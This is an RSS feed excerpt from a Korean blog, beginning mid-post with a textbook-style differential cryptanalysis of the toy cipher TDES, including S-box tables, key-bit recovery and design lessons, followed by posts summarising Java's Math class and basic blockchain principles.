04 02 04 04 04 04 04 00 06 00 04 10 10 06 08 02
02 04 00 00 02 02 04 06 02 02 00 02 10 08 00 04
04 08 12 00 02 00 06 00 08 00 12 00 04 02 04 04
04 02 04 02 06 04 08 00 04 08 04 04 04 06 04 02
02 02 02 08 02 02 02 00 08 04 10 00 10 04 04 00
00 02 04 04 00 04 08 14 00 04 04 02 00 08 04 04
04 02 02 04 12 04 02 10 04 02 00 02 04 00 02 00
00 06 10 02 04 04 06 04 02 04 04 08 06 02 12 02
02 10 04 00 02 06 04 00 06 02 04 02 04 04 02 00
00 04 00 06 06 08 10 10 00 00 02 04 04 06 02 02
02 02 02 00 02 00 04 06 08 02 00 08 12 02 08 00
00 08 02 02 00 10 00 02 06 02 00 02 12 04 10 02
02 02 08 02 00 00 06 02 04 12 02 00 02 02 04 06
06 04 08 10 04 06 02 06 04 08 10 00 04 00 12 02
02 04 02 00 00 02 00 00 06 04 06 06 00 06 08 02
02 04 12 02 00 06 14 00 14 08 04 00 00 00 00 02
02 00 02 04 04 08 04 04 02 08 02 00 02 10 00 02
02 04 14 04 02 00 04 06 00 00 00 04 06 08 02 04
04 04 06 12 02 04 08 00 04 12 06 06 06 08 02 04
04 04 00 02 04 04 02 00 00 04 00 10 02 02 06 02
02 00 02 12 04 00 02 02 08 10 02 00 06 02 00 12
12 02 02 04 02 04 00 02 08 10 06 04 02 06 04 06
06 10 00 04 08 12 02 04 00 00 00 04 02 02 06 00
00 00 08 00 02 06 04 04 04 08 02 06 10 02 14 06
06 12 00 02 00 02 00 04 02 00 02 08 04 02 06 08
08 02 04 02 10 00 00 02 14 04 02 04 04 06 02 00
00 00 06 02 00 00 04 08 08 08 02 04 06 00 04 06
06 06 06 06 12 06 04 04 08 02 04 04 00 02 00 04
04 02 00 02 02 08 02 02 02 06 04 06 08 02 06 00
00 06 02 06 16 00 10 04 00 08 02 00 00 00 02 04
04 04 04 06 04 02 00 04 04 04 10 08 04 04 04 00
00 06 00 00 06 08 00 00 02 00 06 10 08 10 00 04
04 04 06 04 04 00 06 04 06 02 06 08 08 00 02 02
02 00 04 04 08 04 04 02 00 06 02 12 00 00 00 04
04 10 08 00 02 02 06 06 06 00 00 06 08 00 02 04
04 08 00 06 02 10 06 02 06 04 00 06 00 08 00 04
04 02 08 06 08 12 00 00 00 08 02 08 02 02 02 06
06 04 02 02 02 06 06 08 02 06 00 06 08 04 18 00
00 00 04 06 08 00 04 02 00 00 04 06 00 04 04 02
02 00 08 04 04 10 00 06 04 04 06 08 00 00 02 00
00 00 00 08 06 02 10 04 06 00 04 04 06 04 08 04
&lt;/code&gt;&lt;/pre&gt;

&lt;h1 id=&quot;입출력값의-차이를-선택하는-방법&quot;&gt;입출력값의 차이를 선택하는 방법&lt;/h1&gt;
&lt;p&gt;앞서 얻은 Sbox 분석 결과는 각각의 입력 차이에 대한 출력 차이가 편향된 정도의
분포를 나타낸다. 이 숫자가 클수록 편향의 정도가 큰 것이고, 분석을 위해서는 클수록
좋다. 다시 분석 결과를 살펴보면 편향의 정도가 가장 큰 경우가 64이고, 그 다음으로
큰 경우가 48임을 알 수 있다. 그리고 세 번째로 큰 값은 16으로 앞의 두 값에 비해
상당히 작다. 그럼 64, 48을 가지는 입출력 차이를 살펴보자.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	64(probability 1): X1 &amp;oplus; X2 = 000000 &amp;rArr; SR(X1) &amp;oplus; SR(X2) = 0000    --- (1)
	48(probability 0.75): X1 &amp;oplus; X2 = 001000 &amp;rArr; SR(X1) &amp;oplus; SR(X2) = 0010 --- (2)

	단, SR()은 오른쪽 Sbox 연산
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 결과는 (1)이 항상 성립하고, (2)는 75% 확률로 성립한다는 것을 의미한다.
(1)이 꼭 오른쪽 Sbox에서만 성립하는 것은 아니며, 그렇기 때문에 왼쪽 Sbox에도
적용시킬 수 있다. 이러한 (1)과 (2)는 각각 Sbox의 “비활성화”와 “활성화”된
Sbox에서 상당한 확률로 성립하는 입출력 차이라는 점에서 중요하다.&lt;/p&gt;

&lt;h1 id=&quot;tdes의-차등-암호분석&quot;&gt;TDES의 차등 암호분석&lt;/h1&gt;
&lt;p&gt;차등 암호분석은 선택된 평문 공격이다. 어떤 평문을 선택해야 하는지는 (2)를 통해
알 수 있다. (2)에서 X1, X2는 각각 입력 I1, I2에 대해 E(I1), E(I2) (단, E()는
TDES 확장 연산을 수행하는 함수) 의 오른쪽 절반 비트들이다. 이때
	X1 ⊕ X2 = 001000
이므로 확장의 정의로부터
	I1 ⊕ I2 = 0010
이다. 그러므로 XOR 연산의 결과값이 0x0002인 평문 쌍을 선택해야 한다. 이러한
평문 쌍을 P, P_ 라고 하고, 각각의 왼쪽 절반 비트 집합을 L, L_, 오른쪽 절반 비트 집합을 R, R_이라고 하자. 그럼 다음 식이 성립한다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	P &amp;oplus; P_ = (L, R) &amp;oplus; (L_, R_) = 0x0002 --- (3)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;그리고 TDES의 라운드 함수를 F()라고 하고, Sbox 연산을 수행하는 함수를 S(),
확장 연산을 수행하는 함수를 E()라고 하면 다음 식이 성립한다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	F(R, K) &amp;oplus; F(R_, K) = S(E(R) &amp;oplus; K) &amp;oplus; S(E(R_) &amp;oplus; K) --- (4)

	단, K는 TDES 키
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;여기서 확장 연산은 선형 연산이므로 X1 ⊕ X2 = 0x02인 입력 X1, X2에 대해 다음이
성립한다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	(E(X1) &amp;oplus; K) &amp;oplus; (E(X2) &amp;oplus; K) = E(X1) &amp;oplus; E(X2)
	                            = E(X1 &amp;oplus; X2)
	                            = 000000 000010 ---  (5)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 식에서
Z1 = E(X1) ⊕ K, Z2 = E(X2) ⊕ K
라고 하면
Z1 ⊕ Z2 = 000000 000010
이고, 오른쪽 절반 비트의 차이는 000010이다. Z1과 Z2의
왼쪽 절반, 오른쪽 절반 비트를 각각 ZL1과 ZL2, ZR1과 ZR2라고 하면 다음이
성립한다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	ZL1 &amp;oplus; ZL2 = 000000 --- (6)
	ZR1 &amp;oplus; ZR2 = 000010 --- (7)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 식에서 ZL1, ZL2는 왼쪽 Sbox, ZR1, ZR2는 오른쪽 Sbox에 대한 입력이 된다.
그리고 (1)에 의해&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	SL(ZL1) &amp;oplus; SL(ZL2) = 0000 --- (8)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;가 항상 성립한다고 말할 수 있고, (2)에 의해&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	SR(ZR1) &amp;oplus; SR(ZR2) = 0010 --- (9)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;가 성립할 확률이 0.75라고 말할 수 있다. 따라서 위 결과와 (4)에 의해&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	F(R, K) &amp;oplus; F(R_, K) = 0000 0010 --- (10)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;가 성립할 확률은 0.75이 된다. 정리하면 다음과 같다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	R &amp;oplus; R_ = 0x02 &amp;rArr; F(R, K) &amp;oplus; F(R_, K) = 0x02 (Prob 0.75)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;이로써 한 회전에 대한 식을 얻었다. 이제 이를 여러 회전에 연결시켜야 한다.
P ⊕ P_ = 0x0002
인 평문 P, P_에 대해 위 식을 여러 회전에 적용시키면 다음을 얻는다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	P &amp;oplus; P_ = 0x0002 &amp;rArr; (L0 &amp;oplus; F(R0, K1)) &amp;oplus; (L_0 &amp;oplus; F(R_0, K1)) = 0x02 = R1 &amp;oplus; R_1
		                L1 = R0, L_1 = R_0
			        &amp;there4; (L1, R1) &amp;oplus; (L_1, R_1) = 0x0202 (Prob 0.75)
	P1 &amp;oplus; P_1 = 0x0202 &amp;rArr; (L1 &amp;oplus; F(R1, K2)) &amp;oplus; (L_1 &amp;oplus; F(R_1, K2)) = 0x00 = R2 &amp;oplus; R_2
		                L2 = R1, L_2 = R_1
		                &amp;there4; (L2, R2) &amp;oplus; (L_2, R_2) = 0x0200 (Prob (0.75)^2)
	P2 &amp;oplus; P_2 = 0x0200 &amp;rArr; (L2 &amp;oplus; F(R2, K3)) &amp;oplus; (L_2 &amp;oplus; F(R_2, K3)) = 0x02 = R3 &amp;oplus; R_3
		                L3 = R2, L_3 = R_2
		                &amp;there4; (L3, R3) &amp;oplus; (L_3, R_3) = 0x0002 (Prob (0.75)^2)
	P3 &amp;oplus; P_3 = 0x0002 &amp;rArr; (L3 &amp;oplus; F(R3, K4)) &amp;oplus; (L_3 &amp;oplus; F(R_3, K4)) = 0x02 = R4 &amp;oplus; R_4
		                L4 = R3, L_4 = R_3
		                &amp;there4; (L4, R4) &amp;oplus; (L_4, R_4) = 0x0202 (Prob (0.75)^3)
	                    &amp;there4; P4 &amp;oplus; P_4 = C &amp;oplus; C_ = 0x0202
&lt;/code&gt;&lt;/pre&gt;

&lt;h1 id=&quot;보조키-비트-복구-알고리즘&quot;&gt;보조키 비트 복구 알고리즘&lt;/h1&gt;
&lt;p&gt;앞에서 차등 암호분석을 여러 회전에 적용시켰다. 이제 이로부터 키 비트를
복구하는 알고리즘을 유도해야 한다. 공격자의 관점에서 “볼 수 있는” 비트는
P4, P_4 뿐이라는 것을 기억하자. 복구 알고리즘을 작성하기 위한 첫 번째는
암호문 비트만으로 구성된 식을 유도하는 것이다. 먼저 다음 두 식을 보도록 하자.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	R4 = L3 &amp;oplus; F(R3, K4) --- (11) 
	R_4 = L_3 &amp;oplus; F(R_3, K4) --- (12)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;여기서 L4 = R3, L_4 = R_3이므로&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	R4 = L3 &amp;oplus; F(L4, K4) --- (13) 
	R_4 = L_3 &amp;oplus; F(L_4, K4) --- (14)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;이 성립한다. 그리고 앞의 적용결과에서
L3 ⊕ L_3 = 0x00
이었으므로 L3 = L_3 이다. 따라서 다음이 성립한다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	R4 &amp;oplus; F(L4, K4) = R_4 &amp;oplus; F(L_4, K4) --- (15)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 식에서 알려지지 않은 것은 K4 뿐이며, 이에 앞의 여러 회전에 적용한 결과를
대입해보면&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	R_4 &amp;oplus; R_4 = F(L4, K4) &amp;oplus; F(L_4, K4) = 0000 0010 Prob .75 (&amp;because; L4 &amp;oplus; L_4 = 0x02) --- (16)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;임을 알 수 있다. 이때 왼쪽 Sbox는 (1)을 따르고 오른쪽 Sbox는 (2)를 따른다.
그러므로 위 식은
L4 ⊕ L_4 = 0x02
를 만족하는 L4, L_4 쌍이 주어지고, 올바른 K4가 주어진다면, 상대적으로 가장
높은 확률로 성립할 것이다. 이를 구체적으로 살펴보자.&lt;/p&gt;

&lt;p&gt;L4, L_4를 각각 L4[0,1,2,3,4,5,6,7], L_4[0,1,2,3,4,5,6,7]이라고 정의하자.
여기서 L4[0]은 L4의 가장 왼쪽에 위치한 비트를 의미하고, 그 다음 비트가 L4[1]이
된다. 그리고 L4[2,3,5,7]은 L4의 왼쪽에서 2, 3, 5, 7번째 비트를 이어붙인
것이다. 이를 바탕으로 (16)를 다시 쓰면 다음과 같다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	(SL(L4[4,7,2,1,5,7] &amp;oplus; K[0,2,3,4,5,7]),
	        SR(L4[0,2,6,5,0,3] &amp;oplus; K[13,14,15,9,10,11])) &amp;oplus;
	(SL(L_4[4,7,2,1,5,7] &amp;oplus; K[0,2,3,4,5,7]),
	        SR(L_4[0,2,6,5,0,3] &amp;oplus; K[13,14,15,9,10,11])) = 0000 0010 --- (17)

	단, L4[6] != L_4[6]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;(17)에서 왼쪽 Sbox는 다음과 같이 정리된다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	(SL(L4[4,7,2,1,5,7] &amp;oplus; K[0,2,3,4,5,7])) &amp;oplus;
	(SL(L_4[4,7,2,1,5,7] &amp;oplus; K[0,2,3,4,5,7])) = 0000 --- (18)

	단, L4[6] != L_4[6]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 식에서 L4[i] = L_4[i] (단, i != 6) 이므로 (1)에 의해 항상 성립한다. 따라서
(18)에서는 K4에 대한 어떤 정보도 얻을 수 없다. 이는 왼쪽 Sbox가 차이라는
관점에서 비활성화되었음을 보인다. 한편, 오른쪽 Sbox는 다음과 같이 정리된다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
	SR(L4[0,2,6,5,0,3] &amp;oplus; K[13,14,15,9,10,11])) &amp;oplus;
	SR(L_4[0,2,6,5,0,3] &amp;oplus; K[13,14,15,9,10,11])) = 0010 --- (19)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;P ⊕ P_ = 0x0002, C ⊕ C_ = 0x0202
를 만족시키는 평문, 암호문 쌍에 대해 (19)는
적절한 K[13,14,15,9,10,11]이 주어진다면 항상 성립하겠지만, 그렇지 않은
경우에는 단지 어느 정도 확률을 가지고 성립될 것이다. 이로부터, 앞서 언급한
조건을 만족하는 평문, 암호문 쌍에 대해 식 (19)를 최대의 경우의 수로 성립시키는
키를 추출하는 보조키 비트 복구 알고리즘을 작성할 수 있다. 여기서는 이 알고리즘의
동작을 확인하기 위해 “http://www.hanb.co.kr/exam/1427” 에서 제공하는 평문,
암호문 쌍을 사용하였다. 그 결과로 다음 네 개의 키가 최대의 경우의 수를 가졌다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
K[13,14,15,9,10,11] = 0x13 = 010011 --- (20) 
K[13,14,15,9,10,11] = 0x1b = 011011 --- (21) 
K[13,14,15,9,10,11] = 0x22 = 100010 --- (22) 
K[13,14,15,9,10,11] = 0x2a = 101010 --- (23)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;식 (20), (21), (22), (23)은 다음과 같이 쓸 수 있다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
K[13,14,9,10,11] = 01011 --- (24)
K[13,14,9,10,11] = 10010 --- (25)
&lt;/code&gt;&lt;/pre&gt;

&lt;h1 id=&quot;키-비트를-모두-복구하는-방법&quot;&gt;키 비트를 모두 복구하는 방법&lt;/h1&gt;
&lt;p&gt;앞에서 보조키 비트 일부를 얻어내었지만, 키를 완전히 복구하기 위해서는 나머지 2^11의
알려지지 않은 비트에 대해 전수 조사를 하고, (24), (25)를 각각 조사해야만 한다. 이러한
방식으로 추정되는 모든 2^12개의 키 K 각각에 대해 암호문 복호화를 시도해 정확한 키를
찾았을 때 비로소 평문을 복구할 수 있을 것이다. 정확한 키를 찾을 때까지 시도해야하는 조사 횟수의 기대값은 2^12의 절반인 2^11이라고 할 수 있다. 그러므로 전체 작업량의
기대값은 2^11에 해당하는 암호분석 작업량과 상대적으로 비중이 크지 않지만 차등 공격을
위해 요구되는 작업량을 더한 것이 된다. 결론적으로, 2^11개의 분석 작업량으로 16비트의
키를 복구할 수 있다. 이는 전수키 조사를 단축시키는 지름길이 있음을 의미하므로,
TDES는 안전하지 않음이 증명된다.&lt;/p&gt;

&lt;h1 id=&quot;블록암호의-설계원칙&quot;&gt;블록암호의 설계원칙&lt;/h1&gt;
&lt;p&gt;TDES에 대한 차등 암호분석은 Sbox가 입출력 차이에 대한 편향이 있음을
확인하여 시작되었다. 해당 편향을 발생시키는 입력 차이를 확장 연산에 역으로
적용시켜 TDES에 적용되는 입력 차이를 구성하였다. 이와 함께 선형적인 확장 연산,
XOR 연산의 특성을 이용하여 한 회전에 대한 암호분석을 완성하였다. 그리고 이를
연결하여 4개의 회전에 대한 분석을 얻었다. 이로부터 보조키 비트 복구 알고리즘을
구성하였고 이를 검증하기 위한 평문, 암호문 쌍을 통해 최종적으로 두 개의 후보를
추렸다. 마지막으로 발견되지 않은 나머지 비트에 대한 전수키 조사를 통해 완전한
키를 추출하였다.&lt;/p&gt;

&lt;p&gt;이러한 과정을 통해 블록암호의 설계원칙을 엿볼 수 있다. 먼저 Sbox는 입출력
차이에 편향을 가능한 가지지 않도록 설계되어야 할 것이다. 그리고 TDES와 같이
한 회전에서 수행하는 연산이 복잡하지 않은 경우에는 회전의 수를 늘려 연결된
암호분석이 가지는 확률을 낮추어야 할 것이다. 끝으로 여기서 완전한 키를 손쉽게
얻을 수 있었던 것은 애초에 키 공간이 크지 않았기 때문이다. 크지 않은 키 공간이
차등 암호분석을 통해 더욱 작아졌고 이에 전수키 조사가 가능했던 것이다. 따라서
블록암호가 요구하는 키 공간은 충분히 커야 할 것이다.&lt;/p&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;
&lt;p&gt;[1] Mark Stamp, “Information Security: Principles and Practice”,
Wiley-Interscience, Inc.&lt;/p&gt;

&lt;p&gt;[2] Susan Landau, “Standing the Test of Time: The Data Encryption
Standard”, NOTICES OF THE AMS&lt;/p&gt;
</description>
        <pubDate>Mon, 28 Mar 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/03/28/TDES-Differential-Cryptanalysis/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/03/28/TDES-Differential-Cryptanalysis/</guid>
      </item>
    
      <item>
        <title>java.lang.Math</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;종류 - 클래스&lt;/p&gt;

  &lt;p&gt;모듈 - java.base&lt;/p&gt;

  &lt;p&gt;패키지 - java.lang&lt;/p&gt;

  &lt;p&gt;상속&lt;/p&gt;

  &lt;ol&gt;
    &lt;li&gt;java.lang.Object&lt;/li&gt;
    &lt;li&gt;java.lang.Math&lt;/li&gt;
  &lt;/ol&gt;
&lt;/blockquote&gt;

&lt;p&gt;필드&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;static final double E - 자연로그의 기반이 되는 E의 값을 가지고 있다.&lt;/li&gt;
  &lt;li&gt;static final double PI - 가장 자세한 원주율의 값을 가지고 있다.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;메소드 (&lt;strong&gt;구상 메소드&lt;/strong&gt;)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;static double|float|int|long abs(double|float|int|long a) - 절대값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static int|long absExact(int|long a) - 수학적 절대값을 반환한다. 각 타입으로 반환할 수 없으면 ArthmeticException을 던진다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double acos(double a) - 주어진 값에 대한 아크 코사인 값을 반환한다. 반환값은 0.0부터 파이값 사이이다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static int|long addExact(int|long x, int|long y) - 덧셈값을 반환한다. 오버플로우가 일어나면 ArthmeticException을 던진다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double asin(double a) - 주어진 값에 대한 아크 사인 값을 반환한다. 반환값은 -파이값/2부터 파이값/2 사이이다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double atan(double a) - 주어진 값에 대한 아크 탄젠트 값을 반환한다. 반환값은 -파이값/2부터 파이값/2 사이이다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double atan2(double y, double x) - 주어진 x와 y를 좌표로 변환한 뒤, 해당 좌표에 대한 각을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double cbrt(double a) - 큐브 루트 값을 반환한다.(세제곱근)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double ceil(double a) - 가장 작은 a값보다 크거나 같은 정수를 반환하다. (올림한다.)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double|float copySign(double|float magnitude, double|float sign) - sign값의 부호(음수/양수)를 가진 magnitude값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double cos(double a) - 주어진 값에 대한 코사인 값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double cosh(double x) - 주어진 값에 대한 쌍곡코사인 값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static int|long decrementExact(int|long a) - 주어진 값에 1을 감소시킨 값을 반환한다. 음수에 대한 오버플로우가 일어나면 ArithmeticException을 던진다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double exp(double a) - 오일러상수 e의 a거듭제곱의 값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double expm1(double x) - e의 x거듭제곱 - 1을 값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double floor(double a) - 가장 큰 a값보다 작거나 같은 정수를 반환한다. (내림한다.)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static int|long floorDiv(int|long x, int|long y) - 나눗셈의 몫을 반환한다. (내림한 결과값을 반환한다.)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static int|long floorMod(int|long x, int|long y) - 나눗셈의 나머지를 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double|float fma(double|float a, double|float b, double|float c) - 첫번째 값과 두번째 값을 곱한 뒤, 세번째 값을 더한 후, 반올림 한 값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static int getExponent(double|float d) - 편향되지 않은 지수를 반환한다.(2의 해당 값에 대한 지수를 반환하는것으로 보인다.)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double hypot(double x, double y) - 오버플로우나 언더플로우 없이 x제곱 + y제곱의 제곱근을 반환한다. (대각선의 길이를 반환한다.)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double IEEEremainder(double f1, double f2) - 주어진 값의 나누기에 대한 나머지를 IEEE754표준에 맞추어 출력한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static int|long incrementExact(int|long a) - 주어진 값에 1을 가감한 값을 반환한다. 오버플로우가 일어나면 ArithmeticException을 던진다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double log(double a) - 주어진 값에 대한 자연로그 값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double log10(double a) - 주어진 값에 대한 상용로그 값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double log1p(double x) - 주어진 값과 1을 더한 값의 로그값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double|float|int|long max(double|float|int|long a, double|float|int|long b) - 두 수 중 더 큰 값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double|float|int|long min(double|float|int|long a, double|float|int|long b) - 두 수 중 더 작은 값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static int|long multiplyExact(int|long x, int|long y) - 주어진 값의 곱을 반환한다. 오버플로우가 일어나면 ArithmeticException을 던진다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static long multiplyFull(int x, int y) - 주어진 값의 정확한 곱을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static long multiplyHigh(long x, long y) - 주어진 곱의 상위 64비트를 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static int|long negateExact(int|long a) - 주어진 값의 음의 수를 반환한다. 오버플로우가 일어나면 ArithmeticException을 던진다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double|float nextAfter(double|float start, double|float direction) - 두번째 인자의 방향으로 진행한 가장 가까운 수를 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double|float nextDown(double|float d) - 이전에 오는 가장 가까운 수를 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double|float nextUp(double|float d) - 다음에 오는 가장 가까운 수를 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double pow(double a, double b) - a 값에 대한 b의 제곱 값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double random() - 0 이상 1 미만의 랜덤한 값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double rint(double a) - 주어진 값과 가장 가까운 정수를 double형으로 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static long|int round(double|float a) - 가장 가까운 정수형을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double|float scalb(double|float d, int scaleFactor) - 주어진 값 * 2^scaleFactor 값의 반올림 값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double|float signum(double|float d) - 주어진 값의 부호를 반환한다. 0이면 0, 음수면 -1, 양수면 1을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double sin(double a) - 주어진 값에 대한 사인 값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double sinh(double x) - 주어진 값에 대한 하이퍼볼릭 사인 값을 반환합니다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double sqrt(double a) - 주어진 값의 제곱근을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static int|long subtractExact(int|long x, int|long y) - 차이값을 반환한다. 오버플로우가 일어나면 ArithmeticException을 던진다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double tan(double a) 주어진 값에 대한 탄젠트 값을 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double tanh(double x) - 주어진 값에 대한 하이퍼볼릭 탄젠트를 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double toDegrees(double angrad) - 주어진 라디안을 도로 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static int toIntExact(long value) - 주어진 long을 int형으로 반환한다. 오버플로우가 일어나면 ArithmeticException을 던진다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double toRadians(double angdeg) - 주어진 도를 라디안으로 반환한다.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;static double|float ulp(doublefloat d) - 주어진 크기에 대한 ulp를 반환한다.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;주어진 값에 대한 오버플로우를 처리하는 함수가 많다. 정규화를 위해 만들어둔것으로 보인다.&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Sat, 26 Mar 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/03/26/java.base-java.lang.Math/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/03/26/java.base-java.lang.Math/</guid>
      </item>
    
      <item>
        <title>BlockChain</title>
        <description>&lt;h3 id=&quot;기본-원리&quot;&gt;기본 원리&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;탈중앙화&lt;/p&gt;

    &lt;p&gt;일반적인 장부에는 거래내역이 기록&lt;/p&gt;

    &lt;p&gt;블록체인은 그것 자체가 거래장부인 동시에 거래증서이다.&lt;/p&gt;

    &lt;p&gt;비트코인에서는 거래들의 지불되지 않은 결과의 형태로 존재&lt;/p&gt;

    &lt;p&gt;“지불인 갑이 00원을 수취인 을에게 보내다.” 라는 형식의 거래는 소프트웨어 앱을 통해 블록체인 네트워크에 뿌려짐, 블록체인 네트워크의 노드들은 거래를 검증한 다음, 자신의 장부에 거래를 추가, 그리고 이 거래가 추가된 장부를 네트워크의 다른 노드들에 뿌린다.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;개방형&lt;/p&gt;
    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;비허가형&lt;/p&gt;

        &lt;p&gt;불량한 사용자로부터의 보안을 요하지 않으며 접근 제어가 필요 없다  전송 계층으로서 다른 곳의 신뢰나 승인 없이 애플리케이션을 네트워크에 추가 가능&lt;/p&gt;
      &lt;/li&gt;
